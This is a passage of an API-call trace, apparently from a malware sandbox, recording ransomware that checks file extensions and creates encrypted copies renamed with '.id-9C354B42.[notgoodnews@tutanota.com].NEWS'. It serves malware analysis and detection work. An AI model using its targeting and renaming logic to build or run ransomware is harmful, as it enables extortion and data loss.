lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.639] lstrlenW (lpString=".doc") returned 4 [0064.639] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.639] lstrlenW (lpString=".docx") returned 5 [0064.639] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0064.640] lstrlenW (lpString=".pdf") returned 4 [0064.640] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.640] lstrlenW (lpString=".xls") returned 4 [0064.640] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.640] lstrlenW (lpString=".xlsx") returned 5 [0064.640] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0064.640] lstrlenW (lpString=".ppt") returned 4 [0064.640] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.640] lstrlenW (lpString=".zip") returned 4 [0064.640] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.640] lstrlenW (lpString=".rar") returned 4 [0064.640] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.640] lstrlenW (lpString=".bz2") returned 4 [0064.640] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.640] lstrlenW (lpString=".7z") returned 3 [0064.640] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.640] lstrlenW (lpString=".dbf") returned 4 [0064.640] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.640] lstrlenW (lpString=".1cd") returned 4 [0064.640] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.641] lstrlenW (lpString=".jpg") returned 4 [0064.641] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.641] lstrlenW (lpString=".doc") returned 4 [0064.641] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.641] lstrlenW (lpString=".docx") returned 5 [0064.641] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0064.641] lstrlenW (lpString=".pdf") returned 4 [0064.641] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.641] lstrlenW (lpString=".xls") returned 4 [0064.641] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.641] lstrlenW (lpString=".xlsx") returned 5 [0064.641] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0064.641] lstrlenW (lpString=".ppt") returned 4 [0064.641] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.641] lstrlenW (lpString=".zip") returned 4 [0064.641] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.642] lstrlenW (lpString=".rar") returned 4 [0064.642] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.642] lstrlenW (lpString=".bz2") returned 4 [0064.642] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.642] lstrlenW (lpString=".7z") returned 3 [0064.642] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.642] lstrlenW (lpString=".dbf") returned 4 [0064.642] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.642] lstrlenW (lpString=".1cd") returned 4 [0064.642] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0064.642] lstrlenW (lpString=".jpg") returned 4 [0064.642] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.642] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0064.643] lstrlenW (lpString="Psychedelic.jpg") returned 15 [0064.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.644] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14049) returned 1 [0064.644] CloseHandle (hObject=0x1c0) returned 1 [0064.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0064.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.648] lstrlenW (lpString=".doc") returned 4 [0064.648] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.648] lstrlenW (lpString=".docx") returned 5 [0064.649] lstrcmpiW (lpString1=".docx", lpString2="c.jpg") returned -1 [0064.649] lstrlenW (lpString=".pdf") returned 4 [0064.649] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.649] lstrlenW (lpString=".xls") returned 4 [0064.649] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.649] lstrlenW (lpString=".xlsx") returned 5 [0064.649] lstrcmpiW (lpString1=".xlsx", lpString2="c.jpg") returned -1 [0064.649] lstrlenW (lpString=".ppt") returned 4 [0064.649] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.649] lstrlenW (lpString=".zip") returned 4 [0064.649] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.649] lstrlenW (lpString=".rar") returned 4 [0064.649] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.649] lstrlenW (lpString=".bz2") returned 4 [0064.649] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.649] lstrlenW (lpString=".7z") returned 3 [0064.649] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.649] lstrlenW (lpString=".dbf") returned 4 [0064.649] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.649] lstrlenW (lpString=".1cd") returned 4 [0064.650] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.650] lstrlenW (lpString=".jpg") returned 4 [0064.650] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.650] lstrlenW (lpString=".doc") returned 4 [0064.650] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.650] lstrlenW (lpString=".docx") returned 5 [0064.650] lstrcmpiW (lpString1=".docx", lpString2="c.jpg") returned -1 [0064.650] lstrlenW (lpString=".pdf") returned 4 [0064.650] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.650] lstrlenW (lpString=".xls") returned 4 [0064.650] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.650] lstrlenW (lpString=".xlsx") returned 5 [0064.650] lstrcmpiW (lpString1=".xlsx", lpString2="c.jpg") returned -1 [0064.650] lstrlenW (lpString=".ppt") returned 4 [0064.650] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.651] lstrlenW (lpString=".zip") returned 4 [0064.651] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.651] lstrlenW (lpString=".rar") returned 4 [0064.651] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.651] lstrlenW (lpString=".bz2") returned 4 [0064.651] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.651] lstrlenW (lpString=".7z") returned 3 [0064.651] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.651] lstrlenW (lpString=".dbf") returned 4 [0064.651] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.651] lstrlenW (lpString=".1cd") returned 4 [0064.651] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0064.651] lstrlenW (lpString=".jpg") returned 4 [0064.651] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.652] lstrcmpiW (lpString1=".htm", lpString2=".NEWS") returned -1 [0064.652] lstrlenW (lpString="Roses.htm") returned 9 [0064.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.653] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=233) returned 1 [0064.653] CloseHandle (hObject=0x1c0) returned 1 [0064.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0064.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.653] lstrlenW (lpString=".doc") returned 4 [0064.654] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0064.654] lstrlenW (lpString=".docx") returned 5 [0064.654] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0064.654] lstrlenW (lpString=".pdf") returned 4 [0064.654] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0064.654] lstrlenW (lpString=".xls") returned 4 [0064.654] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0064.654] lstrlenW (lpString=".xlsx") returned 5 [0064.654] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0064.654] lstrlenW (lpString=".ppt") returned 4 [0064.654] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0064.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.654] lstrlenW (lpString=".zip") returned 4 [0064.654] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0064.654] lstrlenW (lpString=".rar") returned 4 [0064.654] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0064.654] lstrlenW (lpString=".bz2") returned 4 [0064.654] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0064.654] lstrlenW (lpString=".7z") returned 3 [0064.654] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0064.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.655] lstrlenW (lpString=".dbf") returned 4 [0064.655] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0064.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.655] lstrlenW (lpString=".1cd") returned 4 [0064.655] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0064.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.655] lstrlenW (lpString=".jpg") returned 4 [0064.655] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0064.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.655] lstrlenW (lpString=".doc") returned 4 [0064.655] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0064.655] lstrlenW (lpString=".docx") returned 5 [0064.655] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0064.655] lstrlenW (lpString=".pdf") returned 4 [0064.655] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0064.655] lstrlenW (lpString=".xls") returned 4 [0064.655] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0064.655] lstrlenW (lpString=".xlsx") returned 5 [0064.655] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0064.656] lstrlenW (lpString=".ppt") returned 4 [0064.656] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0064.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.656] lstrlenW (lpString=".zip") returned 4 [0064.656] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0064.656] lstrlenW (lpString=".rar") returned 4 [0064.656] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0064.656] lstrlenW (lpString=".bz2") returned 4 [0064.656] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0064.656] lstrlenW (lpString=".7z") returned 3 [0064.656] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0064.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.656] lstrlenW (lpString=".dbf") returned 4 [0064.656] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0064.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.656] lstrlenW (lpString=".1cd") returned 4 [0064.656] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0064.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0064.656] lstrlenW (lpString=".jpg") returned 4 [0064.656] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0064.657] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0064.657] lstrlenW (lpString="Roses.jpg") returned 9 [0064.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.658] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1920) returned 1 [0064.658] CloseHandle (hObject=0x1c0) returned 1 [0064.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0064.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.658] lstrlenW (lpString=".doc") returned 4 [0064.658] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.658] lstrlenW (lpString=".docx") returned 5 [0064.659] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0064.659] lstrlenW (lpString=".pdf") returned 4 [0064.659] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.659] lstrlenW (lpString=".xls") returned 4 [0064.659] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.659] lstrlenW (lpString=".xlsx") returned 5 [0064.659] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0064.659] lstrlenW (lpString=".ppt") returned 4 [0064.659] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.659] lstrlenW (lpString=".zip") returned 4 [0064.659] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.659] lstrlenW (lpString=".rar") returned 4 [0064.659] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.659] lstrlenW (lpString=".bz2") returned 4 [0064.659] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.659] lstrlenW (lpString=".7z") returned 3 [0064.659] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.659] lstrlenW (lpString=".dbf") returned 4 [0064.659] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.660] lstrlenW (lpString=".1cd") returned 4 [0064.660] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.660] lstrlenW (lpString=".jpg") returned 4 [0064.660] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.660] lstrlenW (lpString=".doc") returned 4 [0064.660] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.660] lstrlenW (lpString=".docx") returned 5 [0064.660] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0064.660] lstrlenW (lpString=".pdf") returned 4 [0064.660] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.660] lstrlenW (lpString=".xls") returned 4 [0064.660] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.660] lstrlenW (lpString=".xlsx") returned 5 [0064.660] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0064.660] lstrlenW (lpString=".ppt") returned 4 [0064.660] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.660] lstrlenW (lpString=".zip") returned 4 [0064.661] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.661] lstrlenW (lpString=".rar") returned 4 [0064.661] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.661] lstrlenW (lpString=".bz2") returned 4 [0064.661] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.661] lstrlenW (lpString=".7z") returned 3 [0064.661] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.661] lstrlenW (lpString=".dbf") returned 4 [0064.661] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0064.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.661] lstrlenW (lpString=".1cd") returned 4 [0064.661] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0064.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0064.661] lstrlenW (lpString=".jpg") returned 4 [0064.661] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0064.662] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0064.662] lstrlenW (lpString="Sand_Paper.jpg") returned 14 [0064.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0064.662] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=15776) returned 1 [0064.662] CloseHandle (hObject=0x1c0) returned 1 [0064.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0064.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0064.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0064.663] lstrlenW (lpString=".doc") returned 4 [0064.663] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0064.663] lstrlenW (lpString=".docx") returned 5 [0064.663] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0064.663] lstrlenW (lpString=".pdf") returned 4 [0064.663] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0064.663] lstrlenW (lpString=".xls") returned 4 [0064.663] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0064.663] lstrlenW (lpString=".xlsx") returned 5 [0064.663] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0064.663] lstrlenW (lpString=".ppt") returned 4 [0064.663] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0064.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0064.663] lstrlenW (lpString=".zip") returned 4 [0064.663] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0064.663] lstrlenW (lpString=".rar") returned 4 [0064.663] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0064.663] lstrlenW (lpString=".bz2") returned 4 [0064.663] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0064.663] lstrlenW (lpString=".7z") returned 3 [0064.663] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0064.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0064.663] lstrlenW (lpString=".dbf") returned 4 [0064.663] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.885] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.885] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0069.381] GetLastError () returned 0x0 [0069.381] ReadFile (in: hFile=0x1a0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0xba9, lpOverlapped=0x0) returned 1 [0070.465] WriteFile (in: 